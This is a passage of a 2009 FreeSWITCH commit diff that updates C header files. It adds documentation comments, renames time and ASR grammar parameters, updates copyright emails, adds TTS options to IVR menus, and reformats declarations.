 SWITCH_DECLARE(switch_hash_index_t *) switch_hash_first(char *depricate_me, _In_ switch_hash_t *hash);
+
+/*!
+ \brief Gets the next element of a hashtable
+ \param hi The current element
+ \return The next element, or NULL if there are no more
+*/
 SWITCH_DECLARE(switch_hash_index_t *) switch_hash_next(_In_ switch_hash_index_t *hi);
+
+/*!
+ \brief Gets the key and value of the current hash element
+ \param hi The current element 
+ \param key [out] the key
+ \param klen [out] the key's size
+ \param val [out] the value 
+*/
 SWITCH_DECLARE(void) switch_hash_this(_In_ switch_hash_index_t *hi, _Out_opt_ptrdiff_cap_(klen)
 									  const void **key, _Out_opt_ switch_ssize_t *klen, _Out_ void **val);
 
@@ -1378,7 +1512,7 @@
 														const char *module_name,
 														const char *voice_name,
 														_In_ unsigned int rate,
-														_In_ unsigned int interval, switch_speech_flag_t *flags, _In_ switch_memory_pool_t *pool);
+														_In_ unsigned int interval, switch_speech_flag_t *flags, _In_opt_ switch_memory_pool_t *pool);
 /*! 
   \brief Feed text to the TTS module
   \param sh the speech handle to feed
@@ -1428,7 +1562,7 @@
   \return SWITCH_STATUS_SUCCESS with len adjusted to the bytes written if successful
 */
 SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
-															void *data, switch_size_t *datalen, uint32_t *rate, switch_speech_flag_t *flags);
+															void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
 /*! 
   \brief Close an open speech handle
   \param sh the speech handle to close
@@ -1491,19 +1625,19 @@
 /*!
   \brief Load a grammar to an asr handle
   \param ah the handle to load to
-  \param grammar the name of the grammar
-  \param path the path to the grammaar file
+  \param grammar the grammar text, file path, or URI
+  \param name the grammar name
   \return SWITCH_STATUS_SUCCESS
 */
-SWITCH_DECLARE(switch_status_t) switch_core_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *path);
+SWITCH_DECLARE(switch_status_t) switch_core_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name);
 
 /*!
   \brief Unload a grammar from an asr handle
   \param ah the handle to unload the grammar from
-  \param grammar the grammar to unload
+  \param name the name of the grammar to unload
   \return SWITCH_STATUS_SUCCESS
 */
-SWITCH_DECLARE(switch_status_t) switch_core_asr_unload_grammar(switch_asr_handle_t *ah, const char *grammar);
+SWITCH_DECLARE(switch_status_t) switch_core_asr_unload_grammar(switch_asr_handle_t *ah, const char *name);
 
 /*!
   \brief Pause detection on an asr handle
@@ -1519,6 +1653,37 @@
 */
 SWITCH_DECLARE(switch_status_t) switch_core_asr_resume(switch_asr_handle_t *ah);
 
+/*!
+  \brief Start input timers on an asr handle
+  \param ah the handle to start timers on
+  \return SWITCH_STATUS_SUCCESS
+*/
+SWITCH_DECLARE(switch_status_t) switch_core_asr_start_input_timers(switch_asr_handle_t *ah);
+
+/*!
+  \brief Set a text parameter on an asr handle
+  \param sh the asr handle
+  \param param the parameter
+  \param val the value
+*/
+SWITCH_DECLARE(void) switch_core_asr_text_param(switch_asr_handle_t *ah, char *param, const char *val);
+
+/*!
+  \brief Set a numeric parameter on an asr handle
+  \param sh the asr handle
+  \param param the parameter
+  \param val the value
+*/
+SWITCH_DECLARE(void) switch_core_asr_numeric_param(switch_asr_handle_t *ah, char *param, int val);
+
+/*!
+  \brief Set a float parameter on an asr handle
+  \param sh the asr handle
+  \param param the parameter
+  \param val the value
+*/
+SWITCH_DECLARE(void) switch_core_asr_float_param(switch_asr_handle_t *ah, char *param, double val);
+
 ///\}
 
 
@@ -1527,7 +1692,7 @@
 ///\{
 /*! 
   \brief Open a directory handle
-  \param dh a direcotry handle to use
+  \param dh a directory handle to use
   \param module_name the directory module to use
   \param source the source of the db (ip, hostname, path etc)
   \param dsn the username or designation of the lookup
@@ -1540,7 +1705,7 @@
 
 /*! 
   \brief Query a directory handle
-  \param dh a direcotry handle to use
+  \param dh a directory handle to use
   \param base the base to query against
   \param query a string of filters or query data
   \return SWITCH_STATUS_SUCCESS if the query is successful
@@ -1549,23 +1714,23 @@
 
 /*! 
   \brief Obtain the next record in a lookup
-  \param dh a direcotry handle to use
+  \param dh a directory handle to use
   \return SWITCH_STATUS_SUCCESS if another record exists
 */
 SWITCH_DECLARE(switch_status_t) switch_core_directory_next(switch_directory_handle_t *dh);
 
 /*! 
   \brief Obtain the next name/value pair in the current record
-  \param dh a direcotry handle to use
+  \param dh a directory handle to use
   \param var a pointer to pointer of the name to fill in
-  \param val a pointer to poinbter of the value to fill in
+  \param val a pointer to pointer of the value to fill in
   \return SWITCH_STATUS_SUCCESS if an item exists
 */
 SWITCH_DECLARE(switch_status_t) switch_core_directory_next_pair(switch_directory_handle_t *dh, char **var, char **val);
 
 /*! 
   \brief Close an open directory handle
-  \param dh a direcotry handle to close
+  \param dh a directory handle to close
   \return SWITCH_STATUS_SUCCESS if handle was closed
 */
 SWITCH_DECLARE(switch_status_t) switch_core_directory_close(switch_directory_handle_t *dh);
@@ -1662,10 +1827,14 @@
   \return the FILE stream
 */
 SWITCH_DECLARE(FILE *) switch_core_get_console(void);
+
+#ifndef SWIG
 /*! 
   \brief Launch a thread
 */
-SWITCH_DECLARE(void) switch_core_launch_thread(void *(*func) (switch_thread_t *, void *), void *obj, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(void *(SWITCH_THREAD_FUNC *func) (switch_thread_t *, void *), 
+															void *obj, switch_memory_pool_t *pool);
+#endif
 
 /*!
   \brief Initiate Globals
@@ -1673,12 +1842,18 @@
 SWITCH_DECLARE(void) switch_core_set_globals(void);
 
 /*!
-  \brief indicate if 2 sessions are the same type
+  \brief Checks if 2 sessions are using the same endpoint module
   \param a the first session
   \param b the second session
   \return TRUE or FALSE
 */
 SWITCH_DECLARE(uint8_t) switch_core_session_compare(switch_core_session_t *a, switch_core_session_t *b);
+/*!
+  \brief Checks if a session is using a specific endpoint 
+  \param session the session
+  \param endpoint_interface interface of the endpoint to check
+  \return TRUE or FALSE
+*/
 SWITCH_DECLARE(uint8_t) switch_core_session_check_interface(switch_core_session_t *session, const switch_endpoint_interface_t *endpoint_interface);
 SWITCH_DECLARE(switch_hash_index_t *) switch_core_mime_index(void);
 SWITCH_DECLARE(const char *) switch_core_mime_ext2type(const char *ext);
@@ -1686,14 +1861,23 @@
 
 SWITCH_DECLARE(switch_loadable_module_interface_t *) switch_loadable_module_create_module_interface(switch_memory_pool_t *pool, const char *name);
 SWITCH_DECLARE(void *) switch_loadable_module_create_interface(switch_loadable_module_interface_t *mod, switch_module_interface_name_t iname);
-SWITCH_DECLARE(switch_time_t) switch_timestamp_now(void);
+/*! 
+ \brief Get the current epoch time in microseconds
+ \return the current epoch time in microseconds
+*/
+SWITCH_DECLARE(switch_time_t) switch_micro_time_now(void);
 SWITCH_DECLARE(void) switch_core_memory_reclaim(void);
 SWITCH_DECLARE(void) switch_core_memory_reclaim_events(void);
 SWITCH_DECLARE(void) switch_core_memory_reclaim_logger(void);
 SWITCH_DECLARE(void) switch_core_memory_reclaim_all(void);
 SWITCH_DECLARE(void) switch_core_setrlimits(void);
 SWITCH_DECLARE(void) switch_time_sync(void);
-SWITCH_DECLARE(time_t) switch_timestamp(time_t *t);
+/*! 
+ \brief Get the current epoch time
+ \param [out] (optional) The current epoch time 
+ \return The current epoch time 
+*/
+SWITCH_DECLARE(time_t) switch_epoch_time_now(time_t *t);
 SWITCH_DECLARE(switch_status_t) switch_strftime_tz(const char *tz, const char *format, char *date, size_t len, switch_time_t thetime);
 SWITCH_DECLARE(switch_status_t) switch_time_exp_tz_name(const char *tz, switch_time_exp_t *tm, switch_time_t thetime);
 SWITCH_DECLARE(void) switch_load_network_lists(switch_bool_t reload);

Modified: freeswitch/branches/seven/src/include/switch_core_db.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_core_db.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_core_db.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  *
  * switch_core_db.h -- Sqlite wrapper and extensions Header
@@ -541,6 +541,11 @@
  */
 SWITCH_DECLARE(char *) switch_mprintf(const char *zFormat, ...);
 
+/*!
+ * \see switch_mprintf
+ */
+SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap);
+
 SWITCH_END_EXTERN_C
 #endif
 /* For Emacs:

Modified: freeswitch/branches/seven/src/include/switch_core_event_hook.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_core_event_hook.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_core_event_hook.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch_core_event_hook.h Core Event Hooks
  *
@@ -181,12 +181,14 @@
 	{																	\
 		switch_io_event_hook_##_NAME##_t *hook, *ptr;					\
 		assert(_NAME != NULL);											\
+		for (ptr = session->event_hooks._NAME; ptr && ptr->next; ptr = ptr->next) \
+			if (ptr->_NAME == _NAME) return SWITCH_STATUS_FALSE;		\
+		if (ptr && ptr->_NAME == _NAME) return SWITCH_STATUS_FALSE;		\
 		if ((hook = switch_core_session_alloc(session, sizeof(*hook))) != 0) { \
 			hook->_NAME = _NAME ;										\
 			if (! session->event_hooks._NAME ) {						\
 				session->event_hooks._NAME = hook;						\
 			} else {													\
-				for (ptr = session->event_hooks._NAME; ptr && ptr->next; ptr = ptr->next); \
 				ptr->next = hook;										\
 			}															\
 			return SWITCH_STATUS_SUCCESS;								\

Modified: freeswitch/branches/seven/src/include/switch_cpp.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_cpp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_cpp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -93,6 +93,8 @@
 											const char *exit_sound,
 											const char *confirm_macro,
 											const char *confirm_key,
+											const char *tts_engine,
+											const char *tts_voice,
 											int confirm_attempts, int inter_timeout, int digit_len, 
 											int timeout, int max_failures, int max_timeouts);
 		 virtual SWITCH_DECLARE_CONSTRUCTOR ~ IVRMenu();
@@ -104,11 +106,13 @@
 	 class API {
 	   protected:
 		 char *last_data;
+		 char time_buf[64];
 	   public:
 		 SWITCH_DECLARE_CONSTRUCTOR API(void);
 		 virtual SWITCH_DECLARE_CONSTRUCTOR ~ API();
 		 SWITCH_DECLARE(const char *) execute(const char *command, const char *data);
 		 SWITCH_DECLARE(const char *) executeString(const char *command);
+		 SWITCH_DECLARE(char *) getTime(void);
 	 };
 
 
@@ -185,7 +189,11 @@
 		 SWITCH_DECLARE(Event *) pop(int block = 0);
 	 };
 
+#ifdef SWIG
 	 class CoreSession {
+#else
+	 class SWITCH_DECLARE_CLASS CoreSession {
+#endif
 	   protected:
 		 switch_input_args_t args;	// holds ptr to cb function and input_callback_state struct
 		 // which has a language specific callback function
@@ -195,7 +203,6 @@
 		 char *xml_cdr_text;
 		 void store_file_handle(switch_file_handle_t *fh);
 		 void *on_hangup;		// language specific callback function, cast as void * 
-		 switch_file_handle_t local_fh;
 		 switch_file_handle_t *fhp;
 		 char dtmf_buf[512];
 
@@ -256,7 +263,7 @@
 		 SWITCH_DECLARE(int) originate(CoreSession * a_leg_session, char *dest, int timeout = 60);
 
 
-		 SWITCH_DECLARE(void) destroy(void);
+		 SWITCH_DECLARE(virtual void) destroy(void);
 
 	/** \brief set a DTMF callback function
 	 * 
@@ -337,7 +344,7 @@
 
 		 SWITCH_DECLARE(void) waitForAnswer(CoreSession *calling_session);
 
-		 SWITCH_DECLARE(void) execute(char *app, char *data = NULL);
+		 SWITCH_DECLARE(void) execute(const char *app, const char *data = NULL);
 
 		 SWITCH_DECLARE(void) sendEvent(Event * sendME);
 
@@ -350,7 +357,7 @@
 	/** \brief Get the uuid of this session	
 	 * \return the uuid of this session
 	 */
-		 char *get_uuid() const {
+		 const char *get_uuid() const {
 			 return uuid ? uuid : (char *) "uninitialized";
 		 };
 
@@ -394,6 +401,7 @@
 													 void *input, switch_input_type_t itype, void *buf, unsigned int buflen);
 
 
+
 #ifdef __cplusplus
 }
 #endif

Modified: freeswitch/branches/seven/src/include/switch_event.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_event.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_event.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_event.h -- Event System
@@ -121,8 +121,11 @@
   \param subclass_name the subclass name for custom event (only valid when event_id is SWITCH_EVENT_CUSTOM)
   \return SWITCH_STATUS_SUCCESS on success
 */
-SWITCH_DECLARE(switch_status_t) switch_event_create_subclass(switch_event_t **event, switch_event_types_t event_id, const char *subclass_name);
+SWITCH_DECLARE(switch_status_t) switch_event_create_subclass_detailed(const char *file, const char *func, int line,
+																	  switch_event_t **event, switch_event_types_t event_id, const char *subclass_name);
 
+#define switch_event_create_subclass(_e, _eid, _sn) switch_event_create_subclass_detailed(__FILE__, (const char * )__SWITCH_FUNC__, __LINE__, _e, _eid, _sn)
+
 /*!
   \brief Set the priority of an event
   \param event the event to set the priority on
@@ -160,6 +163,9 @@
 SWITCH_DECLARE(switch_status_t) switch_event_add_header(switch_event_t *event, switch_stack_t stack,
 														const char *header_name, const char *fmt, ...) PRINTF_FUNCTION(4, 5);
 #endif
+
+SWITCH_DECLARE(switch_status_t) switch_event_set_subclass_name(switch_event_t *event, const char *subclass_name);
+
 /*!
   \brief Add a string header to an event
   \param event the event to add the header to
@@ -198,6 +204,10 @@
 */
 SWITCH_DECLARE(switch_status_t) switch_event_fire_detailed(const char *file, const char *func, int line, switch_event_t **event, void *user_data);
 
+SWITCH_DECLARE(void) switch_event_prep_for_delivery_detailed(const char *file, const char *func, int line, switch_event_t *event);
+#define switch_event_prep_for_delivery(_event) switch_event_prep_for_delivery_detailed(__FILE__, (const char * )__SWITCH_FUNC__, __LINE__, _event)
+
+
 /*!
   \brief Bind an event callback to a specific event
   \param id an identifier token of the binder
@@ -303,7 +313,7 @@
 																	 _In_z_ const char *alt_event_type, _In_ int event_count,
 																	 _In_z_ const char *unique_id, _In_z_ const char *channel_state,
 																	 _In_z_ const char *answer_state, _In_z_ const char *call_direction);
-#define switch_event_create_pres_in(event) switch_event_create_pres_in_detailed(__FILE__, (char * )__SWITCH_FUNC__, __LINE__, \
+#define switch_event_create_pres_in(event) switch_event_create_pres_in_detailed(__FILE__, (const char * )__SWITCH_FUNC__, __LINE__, \
 											proto, login, from, from_domain, status, event_type, alt_event_type, event_count, \
 											unique_id, channel_state, answer_state, call_direction)
 
@@ -325,6 +335,15 @@
 */
 #define switch_event_create(event, id) switch_event_create_subclass(event, id, SWITCH_EVENT_SUBCLASS_ANY)
 
+static inline switch_status_t switch_event_create_plain(switch_event_t **event, switch_event_types_t event_id)
+{
+	switch_status_t status = switch_event_create(event, SWITCH_EVENT_CLONE);
+	if (status == SWITCH_STATUS_SUCCESS) {
+		(*event)->event_id = event_id;
+	}
+	
+	return status;
+}
 /*!
   \brief Deliver an event to all of the registered event listeners
   \param event the event to send (will be nulled)
@@ -338,7 +357,7 @@
   \return SWITCH_STATUS_SUCCESS if the operation was successful
   \note the body supplied by this function will supersede an existing body the event may have
 */
-#define switch_event_fire(event) switch_event_fire_detailed(__FILE__, (char * )__SWITCH_FUNC__, __LINE__, event, NULL)
+#define switch_event_fire(event) switch_event_fire_detailed(__FILE__, (const char * )__SWITCH_FUNC__, __LINE__, event, NULL)
 
 /*!
   \brief Fire an event filling in most of the arguements with obvious values and allowing user_data to be sent
@@ -347,7 +366,7 @@
   \return SWITCH_STATUS_SUCCESS if the operation was successful
   \note the body supplied by this function will supersede an existing body the event may have
 */
-#define switch_event_fire_data(event, data) switch_event_fire_detailed(__FILE__, (char * )__SWITCH_FUNC__, __LINE__, event, data)
+#define switch_event_fire_data(event, data) switch_event_fire_detailed(__FILE__, (const char * )__SWITCH_FUNC__, __LINE__, event, data)
 
 SWITCH_DECLARE(char *) switch_event_build_param_string(switch_event_t *event, const char *prefix, switch_hash_t *vars_map);
 

Modified: freeswitch/branches/seven/src/include/switch_frame.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_frame.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_frame.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_frame.h -- Media Frame Structure
@@ -46,9 +46,11 @@
 	/*! the originating source of the frame */
 	const char *source;
 	/*! the raw packet */
-	void *packet;
+	void *packet;	
 	/*! the size of the raw packet when applicable */
 	uint32_t packetlen;
+	/*! the extra frame data */
+	void *extra_data;
 	/*! the frame data */
 	void *data;
 	/*! the size of the buffer that is in use */

Modified: freeswitch/branches/seven/src/include/switch_ivr.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_ivr.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_ivr.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Neal Horman <neal at wanlink dot com>
  * Bret McDanel <trixter AT 0xdecafbad dot com>
  *
@@ -107,6 +107,7 @@
   \brief Wait for time to pass for a specified number of milliseconds
   \param session the session to wait for.
   \param ms the number of milliseconds
+  \param sync synchronize the channel's audio before waiting
   \param args arguements to pass for callbacks etc
   \return SWITCH_STATUS_SUCCESS if the channel is still up
 */
@@ -147,15 +148,15 @@
   \brief Engage background Speech detection on a session
   \param session the session to attach
   \param mod_name the module name of the ASR library
-  \param grammar the grammar name
-  \param path the path to the grammar file
+  \param grammar the grammar text, URI, or local file name
+  \param name the grammar name
   \param dest the destination address
   \param ah an ASR handle to use (NULL to create one)
   \return SWITCH_STATUS_SUCCESS if all is well
 */
 SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech(switch_core_session_t *session,
 														 const char *mod_name,
-														 const char *grammar, const char *path, const char *dest, switch_asr_handle_t *ah);
+														 const char *grammar, const char *name, const char *dest, switch_asr_handle_t *ah);
 
 /*!
   \brief Stop background Speech detection on a session
@@ -181,19 +182,19 @@
 /*!
   \brief Load a grammar on a background speech detection handle
   \param session The session to change the grammar on
-  \param grammar the grammar name
-  \param path the grammar path
+  \param grammar the grammar text, URI, or local file name
+  \param name the grammar name
   \return SWITCH_STATUS_SUCCESS if all is well
 */
-SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_load_grammar(switch_core_session_t *session, char *grammar, char *path);
+SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_load_grammar(switch_core_session_t *session, char *grammar, char *name);
 
 /*!
   \brief Unload a grammar on a background speech detection handle
   \param session The session to change the grammar on
-  \param grammar the grammar name
+  \param name the grammar name
   \return SWITCH_STATUS_SUCCESS if all is well
 */
-SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_unload_grammar(switch_core_session_t *session, const char *grammar);
+SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_unload_grammar(switch_core_session_t *session, const char *name);
 
 /*!
   \brief Record a session to disk
@@ -389,6 +390,7 @@
   \param cid_name_override override the caller id name
   \param cid_num_override override the caller id number
   \param caller_profile_override override the entire calling caller profile
+  \param ovars variables to be set on the outgoing channel
   \param flags flags to pass
   \return SWITCH_STATUS_SUCCESS if bleg is a running session.
   \note bleg will be read locked which must be unlocked with switch_core_session_rwunlock() before losing scope
@@ -464,6 +466,7 @@
   \brief Bridge two existing sessions
   \param originator_uuid the uuid of the originator
   \param originatee_uuid the uuid of the originator
+  \remark Any custom state handlers on both channels will be deleted
   \return SWITCH_STATUS_SUCCESS if all is well 
 */
 SWITCH_DECLARE(switch_status_t) switch_ivr_uuid_bridge(const char *originator_uuid, const char *originatee_uuid);
@@ -524,7 +527,7 @@
   \param flags flags to send to the request (SMF_ECHO_BRIDGED to send the broadcast to both sides of the call)
   \return the id of the task
 */
-SWITCH_DECLARE(uint32_t) switch_ivr_schedule_broadcast(time_t runtime, char *uuid, char *path, switch_media_flag_t flags);
+SWITCH_DECLARE(uint32_t) switch_ivr_schedule_broadcast(time_t runtime, const char *uuid, const char *path, switch_media_flag_t flags);
 
 /*!
   \brief Signal the session to broadcast audio
@@ -547,10 +550,10 @@
 
 /******************************************************************************************************/
 
-	 struct switch_ivr_digit_stream_parser;
-	 typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
-	 struct switch_ivr_digit_stream;
-	 typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
+struct switch_ivr_digit_stream_parser;
+typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
+struct switch_ivr_digit_stream;
+typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
 /*!
   \brief Create a digit stream parser object
   \param pool the pool to use for the new hash
@@ -579,7 +582,7 @@
   \param stream a pointer to the stream object
   \return NULL if no match found or consumer data that was associated with a given digit string when matched
 */
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t *stream);
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream);
 
 /*!
   \brief Set a digit string to action mapping
@@ -636,25 +639,25 @@
  * @{
  */
 
-	 typedef enum {
-		 SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 << 0),
-		 SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 << 1),
-		 SWITCH_IVR_MENU_FLAG_STACK = (1 << 2)
-	 } switch_ivr_menu_flags;
+typedef enum {
+	SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 << 0),
+	SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 << 1),
+	SWITCH_IVR_MENU_FLAG_STACK = (1 << 2)
+} switch_ivr_menu_flags;
 /* Actions are either set in switch_ivr_menu_bind_function or returned by a callback */
-	 typedef enum {
-		 SWITCH_IVR_ACTION_DIE,	/* Exit the menu.                  */
-		 SWITCH_IVR_ACTION_EXECMENU,	/* Goto another menu in the stack. */
-		 SWITCH_IVR_ACTION_EXECAPP,	/* Execute an application.         */
-		 SWITCH_IVR_ACTION_PLAYSOUND,	/* Play a sound.                   */
-		 SWITCH_IVR_ACTION_BACK,	/* Go back 1 menu.                 */
-		 SWITCH_IVR_ACTION_TOMAIN,	/* Go back to the top level menu.  */
-		 SWITCH_IVR_ACTION_NOOP	/* No operation                    */
-	 } switch_ivr_action_t;
-	 struct switch_ivr_menu;
-	 typedef switch_ivr_action_t switch_ivr_menu_action_function_t (struct switch_ivr_menu *, char *, char *, size_t, void *);
-	 typedef struct switch_ivr_menu switch_ivr_menu_t;
-	 typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
+typedef enum {
+	SWITCH_IVR_ACTION_DIE,	/* Exit the menu.                  */
+	SWITCH_IVR_ACTION_EXECMENU,	/* Goto another menu in the stack. */
+	SWITCH_IVR_ACTION_EXECAPP,	/* Execute an application.         */
+	SWITCH_IVR_ACTION_PLAYSOUND,	/* Play a sound.                   */
+	SWITCH_IVR_ACTION_BACK,	/* Go back 1 menu.                 */
+	SWITCH_IVR_ACTION_TOMAIN,	/* Go back to the top level menu.  */
+	SWITCH_IVR_ACTION_NOOP	/* No operation                    */
+} switch_ivr_action_t;
+struct switch_ivr_menu;
+typedef switch_ivr_action_t switch_ivr_menu_action_function_t (struct switch_ivr_menu *, char *, char *, size_t, void *);
+typedef struct switch_ivr_menu switch_ivr_menu_t;
+typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
 /******************************************************************************************************/
 
 /*!
@@ -668,6 +671,8 @@
  *\param exit_sound Optional pointer to a sound to play upon exiting the menu.
  *\param confirm_macro phrase macro name to confirm input
  *\param confirm_key the dtmf key required for positive confirmation
+ *\param tts_engine the tts engine to use for this menu
+ *\param tts_voice the tts voice to use for this menu
  *\param confirm_attempts number of times to prompt to confirm input before failure
  *\param inter_timeout inter-digit timeout
  *\param digit_len max number of digits
@@ -677,18 +682,20 @@
  *\return SWITCH_STATUS_SUCCESS if the menu was created.
  */
 
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t **new_menu,
-														  switch_ivr_menu_t *main,
-														  const char *name,
-														  const char *greeting_sound,
-														  const char *short_greeting_sound,
-														  const char *invalid_sound,
-														  const char *exit_sound,
-														  const char *confirm_macro,
-														  const char *confirm_key,
-														  int confirm_attempts,
-														  int inter_timeout, int digit_len, int timeout, int max_failures, 
-														  int max_timeouts, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t **new_menu,
+													 switch_ivr_menu_t *main,
+													 const char *name,
+													 const char *greeting_sound,
+													 const char *short_greeting_sound,
+													 const char *invalid_sound,
+													 const char *exit_sound,
+													 const char *confirm_macro,
+													 const char *confirm_key,
+													 const char *tts_engine,
+													 const char *tts_voice,
+													 int confirm_attempts,
+													 int inter_timeout, int digit_len, int timeout, int max_failures, 
+													 int max_timeouts, switch_memory_pool_t *pool);
 
 /*!
  *\brief switch_ivr_menu_bind_action: Bind a keystroke to an action.
@@ -698,8 +705,8 @@
  *\param bind KeyStrokes to bind the action to.
  *\return SWUTCH_STATUS_SUCCESS if the action was binded
  */
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg,
-																 const char *bind);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg,
+															const char *bind);
 
 
 /*!
@@ -713,8 +720,8 @@
  *\note The function returns an switch_ivr_action_t enum of what you want to do. and looks to your buffer for args.
  *\return SWUTCH_STATUS_SUCCESS if the function was binded
  */
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t *menu,
-																   switch_ivr_menu_action_function_t *function, const char *arg, const char *bind);
